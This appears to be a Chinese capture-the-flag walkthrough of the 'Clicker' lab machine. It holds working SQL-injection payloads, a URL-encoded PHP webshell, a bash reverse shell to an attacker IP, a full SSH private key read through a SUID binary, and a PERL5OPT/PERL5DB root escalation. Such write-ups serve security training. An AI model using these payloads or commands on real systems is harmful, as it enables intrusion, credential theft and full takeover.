信息搜集

nmap

1
2
3
4
5
6
7
8
9
10
sudo nmap -p- -sT -min-rate 4000 10.10.11.232
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
2049/tcp open nfs
8000/tcp open http-alt
36831/tcp open unknown
41197/tcp open unknown
59535/tcp open unknown

NSF泄露备份文件

2049/tcp open nfs

NFS是network file system缩写,网络文件系统,用来挂在某个目录或文件进行共享,默认是2049端口,功能类似于windows的共享,以通过showmount命令来列出目标机的共享目录,e参数显示NFS服务器的输出清单。

1
2
3
4
5
6
7
8
9
10
11
12
┌──(kali㉿kali)-[~]
└─$ showmount -e 10.10.11.232
Export list for 10.10.11.232:
/mnt/backups *

#/mnt/backups目录被以只读方式(*)共享出来,这意味着其他主机可以通过NFS协议挂载这个目录,并且只能以只读方式访问其中的文件。

sudo mount -t nfs 10.10.11.232:/mnt/backups /tmp/clicker

sudo cp ./clicker.htb_backup.zip /home/kali

unzip clicker.htb_backup.zip
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
总计 64
-rw-rw-r-- 1 kali kali 3934 9月 2日 04:18 admin.php
drwxr-xr-x 4 kali kali 4096 2023年 2月28日 assets
-rw-rw-r-- 1 kali kali 608 9月 2日 04:17 authenticate.php
-rw-rw-r-- 1 kali kali 541 9月 2日 04:17 create_player.php
-rw-rw-r-- 1 kali kali 2536 9月 2日 04:18 db_utils.php
-rw-r--r-- 1 kali kali 1376 9月 2日 04:18 diagnostic.php
-rw-rw-r-- 1 kali kali 1977 9月 2日 04:18 export.php
drwxr-xr-x 2 kali kali 4096 9月 2日 04:18 exports
-rw-rw-r-- 1 kali kali 3887 9月 2日 04:18 index.php
-rw-rw-r-- 1 kali kali 3423 9月 2日 04:18 info.php
-rw-rw-r-- 1 kali kali 3301 9月 2日 04:18 login.php
-rw-rw-r-- 1 kali kali 74 9月 2日 04:17 logout.php
-rw-rw-r-- 1 kali kali 3341 9月 2日 04:17 play.php
-rw-rw-r-- 1 kali kali 3070 9月 2日 04:17 profile.php
-rw-rw-r-- 1 kali kali 3333 9月 2日 04:18 register.php
-rw-rw-r-- 1 kali kali 563 9月 2日 04:18 save_game.php

贴几个需要利用的文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
#db_utils.php
<?php
session_start();

$db_server="localhost";
$db_username="clicker_db_user";
$db_password="clicker_db_password
";
$db_name="clicker";
$mysqli = new mysqli($db_server, $db_username, $db_password, $db_name);
$pdo = new PDO("mysql:dbname=$db_name;host=$db_server", $db_username, $db_password);

function check_exists($player) {
global $pdo;
$params = ["player" => $player];
$stmt = $pdo->prepare("SELECT count(*) FROM players WHERE username = :player");
$stmt->execute($params);
$result = $stmt->fetchColumn();
if ($result > 0) {
return true;
}
return false;
}

function create_new_player($player, $password) {
global $pdo;
$params = ["player"=>$player, "password"=>hash("sha256", $password)];
$stmt = $pdo->prepare("INSERT INTO players(username, n, password, role, clicks, level) VALUES (:player,:player,:password,'User',0,0)");
$stmt->execute($params);
}

function check_auth($player, $password) {
global $pdo;
$params = ["player" => $player];
$stmt = $pdo->prepare("SELECT password FROM players WHERE username = :player");
$stmt->execute($params);
if ($stmt->rowCount() > 0) {
$row = $stmt->fetch(PDO::FETCH_ASSOC);
if(strcmp($row['password'], hash("=",$password)) == 0){
return true;
}
}
return false;
}

function load_profile($player) {
global $pdo;
$params = ["player"=>$player];
$stmt = $pdo->prepare("SELECT nickname, role, clicks, level FROM players WHERE username = :player");
$stmt->execute($params);
if ($stmt->rowCount() > 0) {
$row = $stmt->fetch(PDO::FETCH_ASSOC);
return $row;
}
return array();
}

function save_profile($player, $args) {
global $pdo;
$params = ["player"=>$player];
$setStr = "";
foreach ($args as $key => $value) {
$setStr .= $key . "=" . $pdo->quote($value) . ",";
}
$setStr = rtrim($setStr, ",");
$stmt = $pdo->prepare("UPDATE players SET $setStr WHERE username = :player");
$stmt -> execute($params);
}

// ONLY FOR THE ADMIN
function get_top_players($number) {
global $pdo;
$stmt = $pdo->query("SELECT nickname,clicks,level FROM players WHERE clicks >= " . $number);
$result = $stmt->fetchAll(PDO::FETCH_ASSOC);
return $result;
}
function get_current_player($player) {
global $pdo;
$stmt = $pdo->prepare("SELECT nickname, clicks, level FROM players WHERE username = :player");
$stmt->bindParam(':player', $player, PDO::PARAM_STR);
$stmt->execute();
if ($stmt->rowCount() > 0) {
$result = $stmt->fetch(PDO::FETCH_ASSOC);
return $result;
} else {
return null;
}
}

?>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#save_game.php
<?php
session_start();
include_once("db_utils.php");

if (isset($_SESSION['PLAYER']) && $_SESSION['PLAYER'] != "") {
$args = [];
foreach($_GET as $key=>$value) {
if (strtolower($key) === 'role') {
// prevent malicious users to modify role
header('Location: /index.php?err=Malicious activity detected!');
die;
}
$args[$key] = $value;
}
save_profile($_SESSION['PLAYER'], $_GET);
// update session info
$_SESSION['CLICKS'] = $_GET['clicks'];
$_SESSION['LEVEL'] = $_GET['level'];
header('Location: /index.php?msg=Game has been saved!');

}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#export.php
<?php
session_start();
include_once("db_utils.php");

if ($_SESSION["ROLE"] != "Admin") {
header('Location: /index.php');
die;
}

function random_string($length) {
$key = '';
$keys = array_merge(range(0, 9), range('a', 'z'));

for ($i = 0; $i < $length; $i++) {
$key .= $keys[array_rand($keys)];
}

return $key;
}

$threshold = 1000000;
if (isset($_POST["threshold"]) && is_numeric($_POST["threshold"])) {
$threshold = $_POST["threshold"];
}
$data = get_top_players($threshold);
$currentplayer = get_current_player($_SESSION["PLAYER"]);
$s = "";
if ($_POST["extension"] == "txt") {
$s .= "Nickname: ". $currentplayer["nickname"] . " Clicks: " . $currentplayer["clicks"] . " Level: " . $currentplayer["level"] . "\n";
foreach ($data as $player) {
$s .= "Nickname: ". $player["nickname"] . " Clicks: " . $player["clicks"] . " Level: " . $player["level"] . "\n";
}
} elseif ($_POST["extension"] == "json") {
$s .= json_encode($currentplayer);
$s .= json_encode($data);
} else {
$s .= '<table>';
$s .= '<thead>';
$s .= ' <tr>';
$s .= ' <th scope="col">Nickname</th>';
$s .= ' <th scope="col">Clicks</th>';
$s .= ' <th scope="col">Level</th>';
$s .= ' </tr>';
$s .= '</thead>';
$s .= '<tbody>';
$s .= ' <tr>';
$s .= ' <th scope="row">' . $currentplayer["nickname"] . '</th>';
$s .= ' <td>' . $currentplayer["clicks"] . '</td>';
$s .= ' <td>' . $currentplayer["level"] . '</td>';
$s .= ' </tr>';

foreach ($data as $player) {
$s .= ' <tr>';
$s .= ' <th scope="row">' . $player["nickname"] . '</th>';
$s .= ' <td>' . $player["clicks"] . '</td>';
$s .= ' <td>' . $player["level"] . '</td>';
$s .= ' </tr>';
}
$s .= '</tbody>';
$s .= '</table>';
}

$filename = "exports/top_players_" . random_string(8) . "." . $_POST["extension"];
file_put_contents($filename, $s);
header('Location: /admin.php?msg=Data has been saved in ' . $filename);
?>

漏洞利用(update注入)

升级role

db_utils.php文件中的save_profile函数存在sql注入:update;

利用链:play.php ==> save_game.php ==> db_utils.php ==>save_profile

1
2
3
4
5
6
7
8
9
10
11
function save_profile($player, $args) {
global $pdo;
$params = ["player"=>$player];
$setStr = "";
foreach ($args as $key => $value) {
$setStr .= $key . "=" . $pdo->quote($value) . ",";
}
$setStr = rtrim($setStr, ",");
$stmt = $pdo->prepare("UPDATE players SET $setStr WHERE username = :player");
$stmt -> execute($params);
}

:player 占位符表示一个玩家的用户名,它将在执行查询时被 $params 数组中对应的值所替换。这种做法可以确保 SQL 查询的安全性;但是$setStr没有使用占用符号;存在注入点;

并且$args变量是通过save_game.php文件的foreach($_GET as $key=>$value)函数,我们完全可以控制;即使在save_game.php文件对上传的GET参数的键值不能为role做了限制,也可以轻松绕过;

1
2
3
4
if (strtolower($key) === 'role') {
header('Location: /index.php?err=Malicious activity detected!');
die;
}
方法一

role%3d"Admin"%23当作键值绕过检查,再用#注释后面的内容

1
UPDATE players SET role="Admin"# WHERE username = :player
1
GET /save_game.php?clicks=0&level=0&role%3d"Admin"%23
方法二

利用/**/绕过strtolower($key) === 'role'

1
UPDATE players SET role/**/="Admin" WHERE username = :player
1
GET /save_game.php?clicks=0&level=0&role%2f%2a%2a%2f=Admin

👆🐎

export.php中存在危险函数file_put_contents($filename, $s);,先来看看$filename是怎么来的,如下:

“exports/top_players_”加上8个随机字符,变量名为extension的post传参(这里没有对后缀做检查,可以修改后缀为php等);所以文件后缀是我们可以控制的;

1
$filename = "exports/top_players_" . random_string(8) . "." . $_POST["extension"];

再来看看$s变量是怎么来的;当后缀不是txt,json

其中$currentplayer["nickname"],$currentplayer["clicks"] ,$currentplayer["level"];三个变量是我们可以控制的;

$currentplayer["clicks"] ,$currentplayer["level"]的数据类型是数字,所以只能在nickname动手;

"nickname"的值也可以通过update注入来改变;

1
GET /save_game.php?clicks=1000001&level=0&nickname=%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%73%68%65%6c%6c%27%5d%29%3b%3f%3e 

在抓包将后缀改为php;extension=php

反弹shell

1
POST:shell=system('%2Fbin%2Fbash%20-c%20%22%2Fbin%2Fbash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.16.13%2F5555%200%3E%261%22');

user_www-data

思路应该先去数据库里找敏感信息,找不到再搜集别的敏感信息;

1
2
bash-5.1$ find / -perm -4000 2>/dev/null
/opt/manage/execute_query

将jack用户的suid文件:/opt/manage/execute_query下载到本地查看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
main(){
if ( argc > 1 )
{
v8 = atoi(argv[1]);
dest = (char *)calloc(0x14uLL, 1uLL);
switch ( v8 )
{
case 0:
puts("ERROR: Invalid arguments");
return 2;
case 1:
strncpy(dest, "create.sql", 0x14uLL);
goto LABEL_10;
case 2:
strncpy(dest, "populate.sql", 0x14uLL);
goto LABEL_10;
case 3:
strncpy(dest, "reset_password.sql", 0x14uLL);
goto LABEL_10;
case 4:
strncpy(dest, "clean.sql", 0x14uLL);
goto LABEL_10;
default:
strncpy(dest, argv[2], 0x14uLL);
LABEL_10:
strcpy(s, "/home/jack/queries/");
v4 = strlen(s);
v5 = strlen(dest);
name = (char *)calloc(v4 + v5 + 1, 1uLL);
strcat(name, s);
strcat(name, dest);
setreuid(0x3E8u, 0x3E8u);
if ( access(name, 4) )
{
puts("File not readable or not found");
}
else
{
strcpy(src, "/usr/bin/mysql -u clicker_db_user --password='clicker_db_password' clicker -v < ");
v6 = strlen(src);
v7 = strlen(dest);
command = (char *)calloc(v6 + v7 + 1, 1uLL);
strcat(command, src);
strcat(command, name);
system(command);
}
result = 0;
break;
}
}
else
{
puts("ERROR: not enough arguments");
return 1;
}
return result;
}
1
2
/usr/bin/mysql -u clicker_db_user --password='clicker_db_password' clicker -v < clean.sql
#< clean.sql 表示从名为 clean.sql 的文件中读取 SQL 命令,并将其发送到 MySQL 服务器以执行

这里有意思的是即使不是sql文件也可以读取;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
bash-5.1$ /opt/manage/execute_query 5 ../.ssh/id_rsa
mysql: [Warning] Using a password on the command line interface can be insecure.
--------------
-----BEGIN OPENSSH PRIVATE KEY---
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
-----END OPENSSH PRIVATE KEY---
--------------

id_rsa 是 SSH 密钥文件的默认名称之一。在 SSH 密钥认证中,id_rsa 是私钥文件的默认名称,而 id_rsa.pub 是相应的公钥文件的默认名称。这些文件通常用于 SSH 客户端与服务器进行安全连接和身份验证。私钥文件(id_rsa)应该被妥善保管,而公钥文件(id_rsa.pub)通常被放置在需要进行身份验证的服务器上的 .ssh/authorized_keys 文件中。 SSH 密钥对通常用于替代传统的基于密码的身份验证,提供了更高的安全性。

这里读取的文件格式有点问题第一行和最后一行少了两个-符号,加上去,还需要将权限改成只读,否则不让连接:

1
2
3
4
5
6
7
8
9
10
┌──(kali㉿kali)-[~]
└─$ ssh -i id_rsa -l jack 10.10.11.232
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@ WARNING: UNPROTECTED PRIVATE KEY FILE! @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Permissions 0644 for 'id_rsa' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
Load key "id_rsa": bad permissions
jack@10.10.11.232's password:

改成只读就好了,再用ssh连接即可;

1
chmod 400 id_rsa

user_jack

提权

1
2
3
4
5
6
7
8
-bash-5.1$ sudo -l
Matching Defaults entries for jack on clicker:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User jack may run the following commands on clicker:
(ALL : ALL) ALL
(root) SETENV: NOPASSWD: /opt/monitor.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
-bash-5.1$ cat /opt/monitor.sh
#!/bin/bash
if [ "$EUID" -ne 0 ]#id不为0
then echo "Error, please run as root"
exit
fi

set PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
unset PERL5LIB;
unset PERLLIB;

data=$(/usr/bin/curl -s http://clicker.htb/diagnostic.php?token=secret_diagnostic_token);
/usr/bin/xml_pp <<< $data;
if [[ $NOSAVE == "true" ]]; then
exit;
else
timestamp=$(/usr/bin/date +%s)
/usr/bin/echo $data > /root/diagnostic_files/diagnostic_${timestamp}.xml
fi

其中;

1
2
3
4
5
6
7
8
9
10
unset PERL5LIB;
unset PERLLIB;

这两行命令是用于在Unix/Linux操作系统下取消设置环境变量的命令。让我为您解释每个命令的含义:

unset PERL5LIB;:这个命令用于取消设置名为PERL5LIB的环境变量。PERL5LIB是一个用于指定Perl编程语言库路径的环境变量。通常情况下,它用于告诉Perl解释器在哪里查找Perl模块和库文件。通过运行这个命令,您将从环境中移除PERL5LIB变量的定义,使得Perl不再使用该变量来定位模块和库文件。

unset PERLLIB;:这个命令用于取消设置名为PERLLIB的环境变量。类似于PERL5LIB,PERLLIB也是用于指定Perl库路径的环境变量。运行这个命令将从环境中移除PERLLIB变量的定义,停止使用它来定位Perl模块和库文件。

取消设置这些环境变量通常是在需要恢复到默认Perl库路径或在特定情况下不希望使用这些自定义路径时使用的。它们在确保Perl在特定上下文中使用默认设置时非常有用。

应该时为了预防通过更改这两个环境变量来进行攻击,这说明了里面有perl写的程序。应该是/usr/bin/xml_pp,但是除了两个环境变量是危险的,还有两个。

  1. **PERL5OPT=-d**:这部分将 PERL5OPT 环境变量设置为 d。在Perl中,d 选项用于启动调试器,它允许您在代码执行过程中进行调试。通常情况下,这是一个合法的用法,用于在开发和调试Perl脚本时启用调试功能。
  2. **PERL5DB='system("chmod u+s /bin/bash");'**:这部分将 PERL5DB 环境变量设置为一个Perl表达式。这个Perl表达式看起来是一个恶意的命令,它试图在Perl调试器环境中运行 **system("chmod u+s /bin/bash");**。这个命令的目的是在系统中为 /bin/bash 这个Shell程序设置了用户可执行的SUID(Set User ID)权限,这将使得任何用户都能以超级用户的权限运行 **/bin/bash**,这是非常危险和不安全的操作。

大概意思是在执行perl程序时开启调试,然后再调试时运行**system("chmod u+s /bin/bash");**

执行

1
sudo PERL5OPT=-d PERL5DB='system("chmod u+s /bin/bash");' /opt/monitor.sh
1
2
3
4
5
6
7
8
-bash-5.1$ sudo PERL5OPT=-d PERL5DB='system("chmod u+s /bin/bash");' /opt/monitor.sh
No DB::DB routine defined at /usr/bin/xml_pp line 9.
No DB::DB routine defined at /usr/lib/x86_64-linux-gnu/perl-base/File/Temp.pm line 870.
END failed--call queue aborted.
-bash-5.1$ bash -p
bash-5.1# id
uid=1000(jack) gid=1000(jack) euid=0(root) groups=1000(jack),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev)
bash-5.1#

补充

升级shell命令

1
script /dev/null -c++